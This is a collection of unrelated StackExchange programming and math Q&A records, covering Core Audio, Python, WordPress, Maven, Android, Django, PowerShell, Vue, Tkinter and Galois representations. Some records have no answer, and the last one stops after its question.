text:
Q: Why does the argument ioNumBytes of AudioFileReadPacketData cause a crash? I have got something really strange (at least for me but I am a noob).
UInt32 numBytesReadFromFile;
OSStatus err = AudioFileReadPacketData(
                                    audioFile, // The audio file whose audio packets you want to read.
                                    NO, // is cache set?
                                    &numBytesReadFromFile, // On output, the number of bytes of audio data that were read from the audio file.
                                    (AudioStreamPacketDescription *)_packetDescriptions, // array of packet descriptions of data that was read from the audio file (for CBR null)
                                    currentPacket, // the next packet to be read into buffer
                                    &numPackets, // number of actually read buffers
                                    _audioQueueBuffer->mAudioData
                                    );

AudioFileReadPacketData reads data from an audio file and places it in a buffer.
So my question is about the argument numBytesReadFromFile. Apple writes

numBytesReadFromFile: On output, the number of bytes of audio data that were read from the audio file.

So far so good. Apple declares numBytesReadFromFile like in the example code above but for me this line of code crashes! I get an EXC BAD ACCESS.
UInt32 numBytesReadFromFile;

I need to declare numBytesReadFromFile like this and everything works fine:
UInt32 numBytesReadFromFile = 2048; // 2048 = size of my buffer

However this crashes too
UInt32 numBytesReadFromFile = 12
UInt32 numBytesReadFromFile = sizeof(UInt32)

but this does not
UInt32 numBytesReadFromFile = 1021; // a random number

I am not a very experienced C programmer but as far as I know I reserve some memory by declaring numBytesReadFromFile and the method audiofilereadpacketdata writes its data to the address of the variable. Please correct me if I am wrong.
So why does it crash? I think I haven't fixed the real problem.
My assumption is that I have some kind of a multithreading issue. When i prepare the queue I call AudioFileReadPacketData on the main thread and declaring
UInt32 numBytesReadFromFile;

works fine. I start playing the audio and a callback is invoked which calls AudioFilereadPacketData on an internal background thread of audio queue and the error described above occurs. If my assumption is right, can someone explain me the issue a bit more in detail as I am not experienced in multithreading.
Thanks.

A: The parameter ioNumBytes to AudioFileReadPacketData is an in/out parameter.  The documentation says:

On input, the size of the outBuffer parameter, in bytes. On output,
  the number of bytes actually read.
You will see a difference in the input and output values if the byte
  size for the number of packets you request in the ioNumPackets
  parameter is smaller than the buffer size you pass in the outBuffer
  parameter. In this case, the output value for this parameter is
  smaller than its input value.

The value when the function is called determines how much data will be written to your buffer.  If the code you posted is correct, numBytesReadFromFile is never initialized to the size of _audioQueueBuffer->mAudioData and the program crashes because it attempts to write an undetermined amount of data to _audioQueueBuffer->mAudioData.  Try setting the parameter before the function call:
UInt32 numBytesReadFromFile = _audioQueueBuffer->mAudioDataByteSize;
OSStatus err = AudioFileReadPacketData(
                                    audioFile, // The audio file whose audio packets you want to read.
                                    NO, // is cache set?
                                    &numBytesReadFromFile, // On output, the number of bytes of audio data that were read from the audio file.
                                    (AudioStreamPacketDescription *)_packetDescriptions, // array of packet descriptions of data that was read from the audio file (for CBR null)
                                    currentPacket, // the next packet to be read into buffer
                                    &numPackets, // number of actually read buffers
                                    _audioQueueBuffer->mAudioData
                                    );


text:
Q: Python: Bytes to Floating Point I'm trying to parse a binary file that has a combination of 1,2,4,8 byte integers and 4,8 byte floating points as well as varying strings with different encodings.
How do I convert 4 bytes or 8 bytes to a floating point?
Is using the struct package the best way?
if so, how do I use the struct package to get a floating point? with 4-bytes and 8-bytes
How could i do the same thing with a 2-byte or 4-byte integer?
What i'm currently using is
int.from_bytes(binary_file.read(2), byteorder='little', signed=False)
int.from_bytes(binary_file.read(4), byteorder='little', signed=False)

Would it be more optimal to use struct for multiple ints and floats in succession?

A: The struct module is by far the most obvious/correct way to do this. If you read the docs you'd find all the format codes you need in a few seconds.
int.from_bytes is more general (handles arbitrary widths), but when you know the precise widths, you're likely better off with a struct; if you do it a lot for the same formats, using a preconstructed struct.Struct object will run faster than the module-level functions.

redpajama_set_name: RedPajamaStackExchange


text:
Q: How to change the way the date is displayed in WordPress I would like to permanently remove the the day and month from the date but keep the year. This is for WordPress 4.8.1 running Culture theme.
In other words; when I, in the future, write and publish a post, only the YEAR will be shown on the blogpage (frontpage) and on the single post view.
Any ideas on how to fix that?

A: You can use below function and modify it according to your requirement
function my_project_filter_publish_dates( $the_date, $d, $post ) {
return date( 'Y', strtotime( $the_date ) );
}
add_filter( 'get_the_date', 'my_project_filter_publish_dates', 10, 3 );


text:
Q: configure WSO2 identity provider 5.1 to integrate with SAML 1.1 service provider my question is simple how to configure WSO2 identity provider 5.1 to integrate with SAML 1.1 service provider?

A: WSO2 IS 5.1.0 using "SAML 2.0" not "SAML 1.1". Below link give you a details steps to add service provider to the WSO2 IS 5.1.0.


text:
Q: Can't find main class in Maven generated project I'm using Acceleo to create a maven project which creates a .jar app... I have a "generate.mtl" file, calling other .mtl files one of which is the following genPOM.mtl
[comment encoding = UTF-8 /]
[module genPOM('file:/C:/Users/xxx/workspace/PSMToText/model/PSMMetamodel.ecore')]

[template public genPOM(aService : Service)]

[file (aService.name + '/pom.xml', false, 'UTF-8')]
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
 <modelVersion>4.0.0</modelVersion>
 <groupId>"some-group-id"</groupId>
 <artifactId>[aService.name/]</artifactId>
 <packaging>jar</packaging>
 <version>1.0-SNAPSHOT</version>
 <name>[aService.name/]</name>
 <url>http://maven.apache.org</url>
 <dependencies>
    <dependency>
        <groupId>com.sun.jersey</groupId>
        <artifactId>jersey-bundle</artifactId>
        <version>1.19.1</version>
    </dependency>
    <dependency>
        <groupId>com.googlecode.json-simple</groupId>
        <artifactId>json-simple</artifactId>
        <version>1.1.1</version>
    </dependency>
    [if (aServicePSM.serviceDatabaseType = 'MySQL')]
    <dependency>
        <groupId>mysql</groupId>
        <artifactId>mysql-connector-java</artifactId>
        <version>5.1.38</version>
    </dependency>
    [else]
    <dependency>
        <groupId>org.postgresql</groupId>
        <artifactId>postgresql</artifactId>
        <version>9.3-1100-jdbc4</version>
        <scope>compile</scope>
    </dependency>
    [/if]
 </dependencies>
 <build>
    <finalName>[aService.name/]</finalName>
    <plugins>
        <plugin>
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-compiler-plugin</artifactId>
            <version>3.5.1</version>
            <configuration>
                  <source>1.8</source>
                  <target>1.8</target>
            </configuration>
        </plugin>
        <plugin>
            <artifactId>maven-jar-plugin</artifactId>
            <version>2.4</version>
            <configuration>
                <failOnMissingWebXml>false</failOnMissingWebXml>
            </configuration>
        </plugin>
        <plugin>
            <!-- Build an executable JAR -->
            <groupId>org.apache.maven.plugins</groupId>
            <artifactId>maven-jar-plugin</artifactId>
            <version>2.4</version>
            <configuration>
                <archive>
                    <manifest>
                        <addClasspath>true</addClasspath>
                        <mainClass>[aService.name/]ServiceTester.[aService.name/]ServiceTester</mainClass>
                    </manifest>
                </archive>
            </configuration>
        </plugin>
    </plugins>
 </build>
 <properties>
    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
 </properties>
</project>

[/file]
[/template]

I have the Acceleo code producing a number of .java files of which the main function exists in the following file named WSATServiceTester.java:
package WSATServiceTester;

public class WSATServiceTester {

    public static void main(String[] args) {
        testService();
    }

    public static void testService(){
//blah blah code...
    }
};

So... my Acceleo code produces some java files in ".../PSMToText/output" directory and a pom.xml file in ".../PSMToText/output/WSAT" directory... and nothing else..
Now.. when i'm browsing the ".../output/WSAT" directory and write "mvn package" i get the following "BUILD SUCCESS" message

and a "target" folder is created in the ".../output/WSAT" directory containing a WSAT.jar file and a "maven-archiver" folder containing a "pom.properties" file which is the following
#Generated by Maven
#Wed Jun 28 18:07:10 EEST 2017
version=1.0-SNAPSHOT
groupId="some-group-id"
artifactId=WSAT

But... when I try to execute the .jar file writing "java -jar WSAT.jar" I get this message:

Error: Could not find or load main class
  WSATServiceTester.WSATServiceTester

So.. I googled a lot and searched in here and read about a MANIFEST.MF file which should contain configurations about where to find the main class but I don't get that generated somehow... also the "pom.properties" file contains nothing about that matter either.
I'm in a general confuse with all that acceleo-maven-java-pom.xml-MANIFEST.MF stuff so any help would be... helpful... :)
If I made that too confusing I'm willing to answer any questions of yours...
Thanks in advance :)


text:
Q: How to write to the same command prompt with vbs in windows? I have vbs script and that creates folder, make archive and copy to that folder, upload to ftp and so on. I want it to write status to cmd after each step of execution( after creating folder, zip...)
The following opens cmd.exe and writes there "creates folder". That's exactly what I want.
Dim objShell, strCmd

strCmd = "%comspec% /k echo creates folder"
Set objShell = CreateObject("Wscript.Shell")
objShell.Run strCmd, 1, True

But, how I can write to the same cmd window that just opened? If I use this
   strCmd = "%comspec% /k echo starting zip"
    objShell.Run strCmd, 1, True

it opens new cmd window, but I want to write "starting zip" to previously opened cmd.
How I achieve this?

A: To print to the command prompt use wscript.echo.
I want to point out that the behavior of .echo is effected by how the script is loaded. For instance, if I run it from command prompt, like this: test.vbs, then the echo lines show up as pop-ups due to running wscript by default. However, if instead I load the file like this: cscript text.vbs all output goes to console as expected.


text:
Q: xml.dom.minidom.parse() in Jython gives an error for XML files with It works fine as long as the XML files don't have <?xml version="1.0" encoding="UTF-8"?> and the DOCTYPE tags. I would switch to xml.etree but I already wrote quite a lot of code using minidom. The same thing works in Python.
It sounds like a bug in Jython's minidom, but is there a way to work around it?


text:
Q: freeipa migrate from v3 to v4 My goal is to migrate from freeipa v3 to v4. Both versions are a cluster of two nodes.
v3 is centos 6 and v4 is centos 7.
I want to migrate the dns entries from the old cluster to the new one. Both have the same dns zone(s) and after all dns entries are on both clusters I will migrate all hosts to the new cluster.
Also the users will be created manually. Goal is to have a fresh freeipa environment.
Which commands do I need to know or use to achieve that?
Also an export and import function will do the trick.

A: This is all documented in the official documentation in the "MIGRATING IDENTITY MANAGEMENT FROM RED HAT ENTERPRISE LINUX 6 TO VERSION 7" section:
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/linux_domain_identity_authentication_and_policy_guide/migrate-6-to-7
The key is not to start from scratch but rather add CentOS 7 replicas to CentOS 6 deployment, move services over to CentOS 7 replicas and then decommission CentOS 6 machines. This is, in general, much easier and more reliable to do than to start from scratch by importing older data.


text:
Q: Opening new Windows Form from another Form Now before anyone goes and marks this question as a duplicate, I'd like to say that my problem differs from the other ones. I'm trying to open an existing Form from another, but I'm having problems in the sense that I've set some Forms to 'host' others (To transfer variables between them). Here's what I mean:
 public partial class Schedule_Tasks : Form
{

    readonly Schedules schedules;

    public Schedule_Tasks(Schedules host)
    {
        this.schedules = host;
        InitializeComponent();
    }

So in this snippet of code, I'm trying to get the value of some variables from the Schedules form, into the Schedule_Tasks Form. So I've used the 'host' system. SO far this method works fine, but my problem occurs when I try to open a specific Form, from another that isn't 'hosting'. For example using:
new Schedules().Show();

So obviously when I'm declaring this, I'd put something like 'this' in the brackets after Schedules, but that doesn't work if the Form is being called outside of the 'host' Form. I'd just like to now is there something I'm missing or can change? Please let me know if any part isn't clear, it's a little difficult to explain. Any help is appreciated, Cheers.
EDIT
Here's the code that I'm working with now:
 public partial class Schedual_Tasks : Form
{

    readonly Scheduals scheduals;
    public string selectedDevice;
    public string getPath;
    public string totalPath;

    public Schedual_Tasks(Scheduals host)
    {
        this.scheduals = host;
        InitializeComponent();
        selectedDevice = scheduals.itemSelected;
    }

    private void Schedual_Tasks_Load(object sender, EventArgs e)
    {

    }

    private void changeDirectory_Click(object sender, EventArgs e)
    {
        new Folder_Browser(this).Show(); //Error Occurs here
    }
}

And here is the constructor for Folder_Browser, which is the Form I'm trying to call:
 readonly Back_up_Options backOptions;
    public string deviceSel;

    public Folder_Browser(Back_up_Options host)
    {
        InitializeComponent();
        this.backOptions = host;
        deviceSel = backOptions.deviceSel;

    }

A: Your (Folder_Browser) Form's constructor is declared as
public Folder_Browser(Back_up_Options host)

That means you cannot pass a Schedual_Tasks instance as the host parameter because there is no way to convert from a Schedual_Tasks object into a Back_up_Options object. The compiler detects this and creates an error message.
If you cannot pass the host parameter, you can pass null instead:
new Folder_Browser(null).Show();

But then you need to make sure that you check the backOptions member for null reference each time you use it. For example:
if(backOptions != null)
{
    deviceSel = backOptions.deviceSel;
}
else
{
    deviceSel = null;
}

That in turn means that you will need to check deviceSel for null each time you use it and so on.
And of course, using your Form without a "host" needs to be possible at all. If you have code that requires a "host", it will fail.


text:
Q: How can I multiple the two fields? How can I multiple the Unit price and the value of the Unit price and the vat?
Example:
Quantity: 2
Vat: 15%
Unit price: 2000
=2000x1.15 (Unit price x vat)
=2300x2
Can someone help me with this? Thank you. I am using Vue/Nuxt. I don't know how to do it.
<el-table-column label="Quantity">
  <template slot-scope="scope">
    <el-form-item>
      <el-input
        v-model="scope.row.quantity"
        placeholder="Input quantity..."
        class="w-full"
        required
      >
      </el-input>
    </el-form-item>
  </template>
</el-table-column>

<el-table-column label="Unit Price">
  <template slot-scope="scope">
    <el-form-item>
      <el-input
        v-model="scope.row.unit_price"
        placeholder="Input unit price..."
        class="w-full"
        required
      >
      </el-input>
    </el-form-item>
  </template>
</el-table-column>

<el-table-column label="VAT">
  <template slot-scope="scope">
    <el-select
      v-model="scope.row.vat"
      :remote-method="remoteMethod"
      remote
      filterable
      style="width: 100%"
    >
      <el-option
        v-for="{ name } in tax"
        :key="name"
        :label="name"
        :value="name"
      >
      </el-option>
    </el-select>
  </template>
</el-table-column>

<el-table-column label="Total">
  <template slot-scope="scope">
    <el-form-item>
      <el-input
        v-model="scope.row.total"
        placeholder="Input total..."
        class="w-full"
        required
        value="scope.row.quantity * scope.row.vat"
      >
      </el-input>

    </el-form-item>
  </template>
</el-table-column>

A: If I read the code correctly you are very close:
In this segment:
      <el-input
        v-model="scope.row.total"
        placeholder="Input total..."
        class="w-full"
        required
        value="scope.row.quantity * scope.row.vat"
      >

You should remove the v-model and use v-bind:value instead of value:
      <el-input
        placeholder="Input total..."
        class="w-full"
        required
        v-bind:value="scope.row.quantity * scope.row.vat"
      >
     // or: @value="scope.row.quantity * scope.row.vat"

If you want the total to be editable by the user, you could do the following
      <el-input
        placeholder="Input total..."
        class="w-full"
        required
        v-bind:value="scope.row.quantity * scope.row.vat"
        @input="scope.$row.total = $event.target.value"
      >

But, this means that $row.total will only be set when the user changes it.
Another strategy would be to calculate the total field for each row before you give it to the template, then you would only use v-model="scope.$row.total" and omit v-bind:value.


text:
Q: When is the managed object actually saving? I have some code where I generate a new CoreData entity by doing the following:
SOModule* newModule = [NSEntityDescription insertNewObjectForEntityForName:@"SOModule" inManagedObjectContext:self.managedObjectContext];
        newModule.name = self.tf_name.text;
        newModule.ip = self.tf_ip.text;
        newModule.port = self.tf_port.text;
        newModule.user = self.tf_user.text;
        newModule.password = self.tf_pass.text;
        newModule.created = [NSDate date];

Then I call this fetch request to check for duplicate attributes:
 NSFetchRequest* fetchRequest = [NSFetchRequest fetchRequestWithEntityName:@"SOModule"];
          fetchRequest.predicate = [NSPredicate predicateWithFormat:@"ip == %@",newModule.ip];
          NSArray* matchingModules = [self.managedObjectContext executeFetchRequest:fetchRequest error:nil];
          NSLog(@"%@",[matchingModules description]);

This is before I save the "save" the entity, but I'm getting an array description of the information I JUST inputed, using the first block of code. To save it at the end, I do the following:
 [self.managedObjectContext save:nil];

I have a feeling that newModule is being saved in the first line of code, but it shouldn't be, since it is just an initializer. Any clarity would be great!

A: insertNewObjectForEntityForName: creates the object and inserts it into the managed object context.
[self.managedObjectContext save:nil]

saves all changes in the context (such as the newly created object) to the persistent store (the SQLite file).
By default, a fetch request also includes unsaved changes, that's why it returns the new object before the context is saved.
You could exclude unsaved changes by setting
[request setIncludesPendingChanges:NO];

but the default value is YES.


text:
Q: Does purity mean here that "deny" is a "quality of being morally good"? This comic says

there is a purity in that

what does purity mean here?
cambridge gives this definition "the quality of being morally good"
why is "deny" a "quality of being morally good"

A: "Purity" can also mean simplicity. Something in its purest form is free from any contamination, or impurities.
Looking at the previous panel in the comic, it refers to a "lust for vengeance". This is a very base emotion. I believe the implication is that while vengeance is a negative emotion, it is basic, uncomplicated, and that is the meaning of "pure" in this context.
The words are evidently being spoken by one character to another. One is suggesting that the other is "denying" himself the purity vengeance by his refraining from it. Evidently one of the characters has a much greater moral integrity than the other.


text:
Q: Not touching the views in doInBackground but still getting this crash logs "android.view.ViewRootImpl$CalledFromWrongThreadException: " I have gone through all the questions related to this crash android.view.ViewRootImpl$CalledFromWrongThreadException:
but all the questions are using views in doInBackground which cause the exception but i am getting the exception that points towards onPostExecute method, as of i know we can utilise views in onPostExecute method of AsyncTask
Here is the crash logs.
android.view.ViewRootImpl$CalledFromWrongThreadException:
      at android.view.ViewRootImpl.checkThread (ViewRootImpl.java:7777)
      at android.view.ViewRootImpl.doDie (ViewRootImpl.java:6723)
      at android.view.ViewRootImpl.die (ViewRootImpl.java:6708)
      at android.view.WindowManagerGlobal.removeViewLocked (WindowManagerGlobal.java:478)
      at android.view.WindowManagerGlobal.removeView (WindowManagerGlobal.java:409)
      at android.view.WindowManagerImpl.removeViewImmediate (WindowManagerImpl.java:124)
      at android.app.Dialog.dismissDialog (Dialog.java:418)
      at android.app.Dialog.dismiss (Dialog.java:401)
      at com.b******.*********.*******.FacebookActivity$async.onPostExecute (FacebookActivity.java:173)
      at com.b******.*********.*******.FacebookActivity$async.onPostExecute (FacebookActivity.java:2)
      at android.os.AsyncTask.finish (AsyncTask.java:695)
      at android.os.AsyncTask.-wrap1 (Unknown Source)
      at android.os.AsyncTask$InternalHandler.handleMessage (AsyncTask.java:712)
      at android.os.Handler.dispatchMessage (Handler.java:106)
      at android.os.Looper.loop (Looper.java:166)
      at android.app.ActivityThread.main (ActivityThread.java:6861)
      at java.lang.reflect.Method.invoke (Method.java)
      at com.android.internal.os.RuntimeInit$MethodAndArgsCaller.run (RuntimeInit.java:450)
      at com.android.internal.os.ZygoteInit.main (ZygoteInit.java:936)

Here is the onPostExecute method of AsyncTask which this crash points to
@Override
    protected void onPostExecute(String output) {
        super.onPostExecute(output);

        HTML = output;
        videosList.clear();
        // check if no video than give nextTry to true

        videosList = getRegexBackArray(xmlCharacterConverter(HTML), "\"(http([^\"]+)?\\.mp4([^\"]+)?)\"");

        if(nextTry == 0 && videosList.size() == 0){
            nextTry = 1;
            runAsync(website , "get" , getUserAgent("Desktop"));
        }else if(videosList.size() > 0){
            nextTry = 0;
            if(active){
                if(MainActivity.counter != 10){
                    MainActivity.counter++;
                }
                mDialogAdvance();
            }else{
                mDialog = true;
            }
        }else {

            if(!m3u8.isEmpty()) {

                new FacebookActivity.asyncm3u8().execute(m3u8, "get", "");

            }else{

                if(progressDialog != null && progressDialog.isShowing()){
                    progressDialog.dismiss();
                }

                Toast.makeText(FacebookActivity.this , "We didn't found your videos. can you try other Link ?. " , Toast.LENGTH_LONG).show();

            }
        }
    }

Here is the doInBackground code.
@Override
    protected String doInBackground(String... params) {

        StrictMode.ThreadPolicy policy = new StrictMode.ThreadPolicy.Builder().permitAll().build();
        StrictMode.setThreadPolicy(policy);
        StringBuilder response = new StringBuilder("");
        BufferedReader reader;
        HttpURLConnection urlConnection;
        try {

            URL url = new URL(params[0]);
            urlConnection = (HttpURLConnection) url.openConnection();
            urlConnection.setRequestMethod(params[1].toUpperCase());
            urlConnection.setRequestProperty("User-Agent" , params[2]);
            urlConnection.setUseCaches( false );
            urlConnection.setInstanceFollowRedirects(true);
            HttpURLConnection.setFollowRedirects(true);

            boolean redirect = false;

            int status = urlConnection.getResponseCode();
            if (status != HttpURLConnection.HTTP_OK) {
                if (status == HttpURLConnection.HTTP_MOVED_TEMP
                        || status == HttpURLConnection.HTTP_MOVED_PERM
                        || status == HttpURLConnection.HTTP_SEE_OTHER)
                    redirect = true;
            }

            if (redirect) {

                String newUrl = urlConnection.getHeaderField("Location");
                urlConnection = (HttpURLConnection) new URL(newUrl).openConnection();
                urlConnection.setRequestMethod(params[1].toUpperCase());
                urlConnection.setReadTimeout(5500);
                urlConnection.setConnectTimeout(5500);
                urlConnection.setRequestProperty("User-Agent" , "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36");
                urlConnection.setUseCaches( false );
                urlConnection.setInstanceFollowRedirects(true);
                HttpURLConnection.setFollowRedirects(true);

            }

            try {

                reader = new BufferedReader(new InputStreamReader(urlConnection.getInputStream()));

                String line;

                while ((line = reader.readLine()) != null)
                {
                    response.append(line).append("\n");
                }

                reader.close();

            }catch(Exception j){

                return "";

            } finally {

                urlConnection.disconnect();

            }

        }catch (IOException e) {
            e.printStackTrace();
        }

        return response.toString();
    }
}

Any help would be highly Appreciated.


text:
Q: How to handle https clients with sockets in python? Making proxy server Im creating proxy server using sockets in python. I know how to handle http clients. But with https it doesnt work. I send to client message that everything is ok. Then i try to wrap client socket as a secure socket. But it doesnt work.
I got message:
Exception in thread Thread-14:
Traceback (most recent call last):
  File "C:\Python37\lib\threading.py", line 926, in _bootstrap_inner
    self.run()
  File "C:\Python37\lib\threading.py", line 870, in run
    self._target(*self._args, **self._kwargs)
  File "C:/Users/Даниил/Downloads/python/proxy_server/proxy_server.py", line 39, in __handle_client
    self.__handle_https(client_sock, client_data, host, port)
  File "C:/Users/Даниил/Downloads/python/proxy_server/proxy_server.py", line 62, in __handle_https
    server_side=True)
  File "C:\Python37\lib\ssl.py", line 1238, in wrap_socket
    suppress_ragged_eofs=suppress_ragged_eofs
  File "C:\Python37\lib\ssl.py", line 423, in wrap_socket
    session=session
  File "C:\Python37\lib\ssl.py", line 870, in _create
    self.do_handshake()
  File "C:\Python37\lib\ssl.py", line 1139, in do_handshake
    self._sslobj.do_handshake()
ssl.SSLError: [SSL: SSLV3_ALERT_CERTIFICATE_UNKNOWN] sslv3 alert certificate unknown (_ssl.c:1076)

I have certificate with Common Name: localhost and i added it in browser. Even when I create certificate with Common Name of host (e.g. docs.python.org) and add it to browser it doesnt work.
Here is my code of handling https requests:
   def __handle_https(self, client_sock, data, host, port):
        client_sock.sendall(b'HTTP/1.1 200 Connection Established\r\n\r\n')

        sclient = ssl.wrap_socket(client_sock,
                                  certfile='server.crt',
                                  keyfile='server.key',
                                  server_side=True)

A: A HTTP proxy should only forward the data between client and server after the CONNECT request is done. It should not handle the TLS itself as you try. Instead it should forward the data unchanged so that there is an end-to-end TLS connection between the client to the server via the proxy.


text:
Q: Powershell problem to compare and save it as textfile I have this code to list how many files I have in each subdirectory
 dir -recurse |  ?{ $_.PSIsContainer } | %{ Write-Host $_.FullName (dir $_.FullName | Measure-Object).Count }

and it works awesome.
But now I like to save it as a file the result and now I have problem.
I has tried with three different ways but the only thing it does is create the file but there is nothing in it.
I have try with
| Export-Csv -Path .\data1.csv -NoTypeInformation
| Out-File -FilePath .\data1.txt

and even
>> Data.txt

A: You're using Write-Host. Write-Host displays text but doesn't write it anywhere.
You can use Write-Output
dir -recurse |  ? { $_.PSIsContainer } | % { Write-Output $_.FullName (dir $_.FullName | Measure-Object).Count } | Out-File -FilePath $PSScriptRoot\Log.txt

Or you could just skip it:
dir -recurse |  ? { $_.PSIsContainer } | % { $_.FullName + ' ' + (dir $_.FullName | Measure-Object).Count } | Out-File -FilePath $PSScriptRoot\Log.txt

Here's old article about streams: https://devblogs.microsoft.com/scripting/understanding-streams-redirection-and-write-host-in-powershell/
What the article doesn't cover due to its age is the PSv5+ information stream (number 6), to which Write-Host now writes - see help topic about_Redirection


text:
Q: Django Simple Search Form I am running through a tutorial where I am supposed to create a simple search form
This is the views.py:
from django.http import HttpResponse
from django.template import loader, Context
from django.contrib.flatpages.models import FlatPage

def search(request):
    query = request.GET['q']
    results = FlatPage.objects.filter(content__icontains=query)
    template = loader.get_template
    context = Context({ 'query': query, 'results':results })
    response = template.render(context)
    return HttpResponse(response)

and this is the error I get:
Exception Value:

'function' object has no attribute 'render'

this is the URLpattern:
(r'^search/$', 'Mysite.search.views.search'),

this is the default template:

  <title>{{ flatpage.title }}</title>

 <form method="get" action="/search/">

Search:
  <input type="text" name="q" id="id_q" />
  <input type="submit" value="Submit" />

 </form>

{{ flatpage.title }}

  {{ flatpage.content }}

And this would be the search result template:

  <title> Search </title>

 You searched for "{{ query }}"; the results are listed below.

   {% for page in results %}

{{ page.title }}

   {% endfor %}

I simply dont get where I possibly can have gone wrong

A: template = loader.get_template

You should not simply assign a new variable to the function.  You should actually evaluate the function.
template = loader.get_template()


text:
Q: Comparison of two $GL_N(\mathbb{Z}_\ell)$ Galois representations I have a question about comparing two $\ell$-adic Galois representations. Suppose we have two irreducibible Galois representaions
$$
\rho_1,\rho_2: Gal(\overline{\mathbb{Q}}/\mathbb{Q})\to GL_N(\mathbb{Z}_{\ell}).
$$
If $\rho_1$ is not isomorphic to $\rho_2$, then there must be a largest integer $a$ such that
$$tr(\rho_1)\equiv tr(\rho_2)\ (mod\ \ell^a).$$
Similarly, there is a largest integer $b$ such that up to a conjugation by an element in $GL_N(\mathbb{Z}_{\ell})$, we have
$$
\rho_1 =\rho_2 \ (mod\ \ell^b).
$$
It is obvious that $b\leq a$. I am wondering is there any known conditions to ensure that $b=a$?

A: This is not true if the representations are residually reducible. Suppose that $N=2$, then $b$ can be strictly less than $a$. Let $\bar{\rho}_i$ for $i=1,2$ denote the mod $l$ representations. Then if $\bar{\rho}_1$ is diagonal and $\bar{\rho}_2$ is upper-triangular with the same diagonal entries as $\bar{\rho}_1$ but not isomorphic to $\bar{\rho}_1$ it would follow that $a\geq 1$ and $b=0$.


text:
Q: Email composer with attachments Phonegap plugin not working with imageURI in iOS I am trying to send a picture from my phonegap app as an attachment using the email composer with attachments phone gap plugin. I cannot get it to work however.
I have tried two separate methods. The first is to use the Phonegap camera api's to pass an imageURI to email composer. The code for this is below:
function camera1()
        {
            navigator.camera.getPicture(sendEmail, onFail, { quality: 20,
                                        destinationType: Camera.DestinationType.FILE_URI});

            function sendEmail(imageURI) {

                window.plugins.emailComposer.showEmailComposer("Test","Test","test@gmail.com","","",true,imageURI)
            }

            function onFail(message) {
                alert('Failed because: ' + message);
            }

        }

This method launches the iphone camera app and allows me to take a picture. However, as soon as I hit the 'use' button I get the following error in my xcode debug console:

2013-01-06 17:57:50.741 Saffron Housing Mobile App[1203:907] -[_NSCFString countByEnumeratingWithState:objects:count:]: unrecognized selector sent to instance 0x1dd9d6a0
  2013-01-06 17:57:50.906 Saffron Housing Mobile App[1203:907] EmailComposer - Cannot set TO recipients; error: -[_NSCFString countByEnumeratingWithState:objects:count:]: unrecognized selector sent to instance 0x1dd9d6a0
  2013-01-06 17:57:50.914 Saffron Housing Mobile App[1203:907] -[_NSCFString countByEnumeratingWithState:objects:count:]: unrecognized selector sent to instance 0x1dd1abf0
  2013-01-06 17:57:50.916 Saffron Housing Mobile App[1203:907] EmailComposer - Cannot set attachments; error: -[_NSCFString countByEnumeratingWithState:objects:count:]: unrecognized selector sent to instance 0x1dd1abf0
  2013-01-06 17:57:51.524 Saffron Housing Mobile App[1203:907] Warning: Attempt to present  on  while a presentation is in progress!

The second method I have tried to use is to save the image to local storage and then pass it as a variable to email composer. I also implemented a notification event in this method as the previous error message made me think that the email composer plugin was trying to open too quickly after the camera event (pure guess based on 'Warning: Attempt to present  on  while a presentation is in progress!') The code is as follows:
function camera1()
        {
            navigator.camera.getPicture(sendAlert, onFail, { quality: 20,
                                        destinationType: Camera.DestinationType.FILE_URI});
                                        localStorage.setItem('photo', imageURI);

            function sendAlert()
                navigator.notification.confirm('Send Picture?',sendEmail,'Send Picture?','Yes,No')

            function sendEmail(1) {

                var photo = localStorage.getItem('photo')
                window.plugins.emailComposer.showEmailComposer("Test","Test","test@gmail.com","","",true,photo);
            }

            function onFail(message) {
                alert('Failed because: ' + message);
            }

        }

The problem with this code is that the camera doesn't launch at all. Nothing happens when I click the button. Not even anything in the debug console.
To further complicate matters I tried just opening a basic email composer event to see that I had implemented the plugin properly. When not trying to attach a picture the email composer at least opens with my subject and body filled in. It doesn't fill in any recipients though. The code is:
function camera()
        {
            window.plugins.emailComposer.showEmailComposer("Test","Test","test@gmail.com","","",true,"")

        }

My question is what am I doing wrong?

A: toRecipients, ccRecipients, bccRecipients, and attachments parameters should be arrays, but you're passing them as strings.
window.plugins.emailComposer.showEmailComposer("Test", "Test", ["test@gmail.com"], [], [], true, [imageURI]);

do it like this and try again.

A: i don't know if this is the cause of your error but the path of your attachment shoud be somewhat like ["/var/mobile/Applications/351............F3/yourapp.app/www/images/yourimage.png"]


text:
Q: commands in Tkinter I have the following code by it isn't working any ideas?

A: This parameter will not accept two functions.
The best way for you to solve this is to create a function that performs all other functions.
def main_menu():
    pass

def apending_to_text_file():
    pass

def commands():
    main_menu()
    apending_to_text_file()

login_button = Button(
    root, text="Click here to enter data",
    command=commands
)

A: A few issues here. and is a logical and, so you can't use it like that.
Second, you are calling your second function with the parentheses instead of passing the function itself. This means that you are passing the return value of a function as the command. So if we had a function
def my_func():
    return 'hello'

passing in command = my_func will make the button call my_func(). If you try to pass in command = my_func(), you end up passing in the string hello which doesn't make sense.
Third, a solution would be to wrap both functions in a separate function. To do this inline, you can use a lambda function that calls both functions (in this case, you would want the parentheses). Or you can just define this function separately and call both of the functions you want.
Here are the examples:
def on_button_submit():
    main_menu()
    appending_to_text_file()

So then you an use this on_button_submit as the command for your button.
Or use a lambda function. Here is a quick example of how lambda function would work:
def func1():
  print('in func1')

def func2():
  print('in func2')

x = lambda : (func1(), func2())
x()

So you can use the following as your button command:
lambda : (main_menu(), appending_to_text_file())

A: You can try something like this using lambda function
login_button = Button(root, text="Click here to enter data", command=lambda:[main_menu(),apending_to_text_file()])


text:
Q: How can i call a html template without any view in django I want to call index.html template to particular URL without calling any view.
is it possible in django?

A: from django.views.generic import TemplateView

urlpatterns = [
     (r'^home/$', TemplateView.as_view(template_name='index.html')),
]


text:
Q: Forbidden HTTPS request from Node.js server - what is going wrong here? I'm attempting to make a GET request to the Discogs collection folders api via a node js server, however the request is 'Forbidden'.
